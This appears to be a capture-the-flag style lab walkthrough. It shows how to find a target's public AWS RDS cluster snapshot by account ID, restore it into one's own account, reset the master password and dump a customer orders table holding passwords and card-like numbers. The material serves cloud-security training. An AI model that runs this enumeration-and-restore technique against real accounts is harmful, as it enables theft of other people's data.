Pnwed Labs - Plunder Public RDS Snapshots

Entry Point

AWS Account ID: 104506445608

Scenario

Huge Logistics, a global logistics leader, has enlisted your team’s expertise for an external security review of their cloud infrastructure. Starting with the provided AWS Account ID, your task is to uncover security flaws within their AWS environment and demonstrate the potential risks they pose. Every finding will bolster their defense against future threats.

Learning Outcomes

  • Familiarity with the AWS RDS console
  • Familiarity with the PostgreSQL cli
  • An awareness of how this could be remediated and detected

Real World Context

Legions of databases are being inadvertently exposed on AWS due to the RDS (Relational Database Service) public snapshot feature. The Mitiga Research Team found that within a month, out of 2,783 RDS snapshots, 810 were consistently public, and 1,859 were public for one to two days. This public setting allows unauthorized access to potentially sensitive data, and threat actors can exploit this data for ransomware, extortion, or other malicious activities.


Attack

As we only have the account ID for the target AWS account, we will have to use our credentials for the enumeration and we have confirmed that these are working by running the command aws sts get-caller-identity.

For enumeration of RDS Instance we have the option to search for snapshots from single RDS Database Instances or Clusters. We will first start with a Single RDS instance.

❯ aws rds describe-db-snapshots --snapshot-type public --include-public --region us-east-1 | grep 104506445608

We get no response, so we will modify the query to search for Cluster RDS Instances.

❯ aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region us-east-1 | grep 104506445608
            "DBClusterSnapshotIdentifier": "arn:aws:rds:us-east-1:104506445608:cluster-snapshot:orders-private",
            "DBClusterSnapshotArn": "arn:aws:rds:us-east-1:104506445608:cluster-snapshot:orders-private",

You can see that this reveals a RDS cluster snapshot name orders-private. We will login to our AWS console and then navigate to RDS -> Snapshots -> Public and filter for “orders-private”

We click on the Snapshot name and we can see all the details about it, noting that the DB engine is aurora-postgresql.

From the Actions drop-down, we will select Restore Snapshot

We are then presented with a list of options which we will go through. For the DB Instances settings, we will accept the defaults and under Settings, enter any label for the Db Instance Identifier

Under Instance Configuration, select Burstable classes (includes t classes) and then make sure that db.t3.medium is selected.

Under Connectivity ensure that Public Access is set to No and choose the option to create a new Security Group which we will call snappy

We can leave the other settings as default and then click Restore DB Cluster

The restore process is underway and this would be a really good time to grab a coffee and stretch your legs as it will take some time.

Once the database cluster is restored and the status shows “Available”, we select pwnedlabs-cluster and from the Actions drop-down menu select Set up EC2 Connection.

As we don’t have an EC2 already running, we will click Create EC2 Instance

We created our instance and then selected it from the drop-down menu and then select Continue

We review the setting and then select Set up

There is one small problem, we don’t know the Master Password for the Database! We can fix that by selecting the database clicking modify

We enter a new password and then select Continue

Confirm that the Apply immediately radio button is selected and then click Modify DB Instance and await for confirmation.

Now that we have reset the Master DB password, we need to get the endpoint details for the DB by clicking on the Database and making a note of the Endpoint details

We now connect to the EC2 client that we provisioned earlier and depending on the distribution that you chose you will need to install the the postgres client tools.

# RPM Distributions e.g. Amazon Linux
sudo yum install -y postgresql15.x86_64

# Debian based Distributions e.g. Ubuntu, Debian
sudo apt update && sudo apt install -y postgresql-client

Once we have installed the Postgresql Client, we can then connect to the the database.

[ec2-user@ip-172-31-2-135 ~]$ psql -h pwnedlabs.cfzdnjlbu5mp.us-east-1.rds.amazonaws.com -U postgres
Password for user postgres: 
psql (15.7, server 14.11)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
Type "help" for help.

postgres=> \list
                                                  List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    | ICU Locale | Locale Provider |   Access privileges   
-------------+----------+----------+-------------+-------------+------------+-----------------+-----------------------
 cust_orders | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | 
 rdsadmin    | rdsadmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | rdsadmin=CTc/rdsadmin+
             |          |          |             |             |            |                 | rdstopmgr=Tc/rdsadmin
 template0   | rdsadmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | =c/rdsadmin          +
             |          |          |             |             |            |                 | rdsadmin=CTc/rdsadmin
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | =c/postgres          +
             |          |          |             |             |            |                 | postgres=CTc/postgres
(5 rows)

postgres=> \c cust_orders
psql (15.7, server 14.11)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
You are now connected to database "cust_orders" as user "postgres".
cust_orders=> \dt
         List of relations
 Schema |  Name  | Type  |  Owner   
--------+--------+-------+----------
 public | flag   | table | postgres
 public | orders | table | postgres
(2 rows)

cust_orders=> select * from orders;
 order_id |     username     |      password      | contract |      credit      
----------+------------------+--------------------+----------+------------------
     5421 | cmckoy1          | sS9Ty#q9$eWt5      | 20       | 4024007170882670
     5422 | icotesford2      | fU5v{\W@L          | 4826     | 4929845244025480
     5423 | ccrowley3        | uT0*4Weju2Y5y      | 26       | 4916667994903810
     5424 | aclapton4        | cP10#C7plSND?      | 8142     | 4929058775447770
     5425 | cgayther5        | mL8MqODFOb5        | 1272     | 4532144970022660
     5426 | llekeux6         | "bJ0?>*""#.MWQyl\" | 147      | 4716938266108160
     5430 | bsteckingse      | lD0{MIoK           | 566      | 4485183940482810
     5431 | pbortonf         | sJ2c_WT\JKd        | 82       | 4485935491550410
     5436 | cstacek          | l850WJian          | 2255     | 4716007731412910
     5437 | mflawsl          | 151iAEqKd          | 28160    | 4539699812362260
     5438 | jleindeckerm     | 72zBpmsrS          | 8266     | 4289820367687140
     5439 | mfinann          | PkRYmQnO4          | 77       | 4539087515570140
     5440 | mbootep          | FjyuISweP          | 85617    | 4716750859124260
     5441 | dbalogunq        | IrOYK75ig          | 673      | 4556528496965920
     5442 | fgrishanovs      | xIU7dPAbf          | 35       | 4556546482969700
     5443 | ubiasinit        | YzvYaq0wl          | 21       | 4716438044123840
     5445 | leddowx          | Mb0xSsw9e          | 3362     | 4556913179072280
     5446 | afoulisy         | BaUR5EiGt          | 3619     | 4929717439788210

We have successfully found PII information as well as the flag, but it is important to note that even though AWS provides ample warnings and even emails you about the dangers of having a public RDS snapshot, there are still a lot of them and if it is an option, no matter how bad, you can be sure that someone will choose it.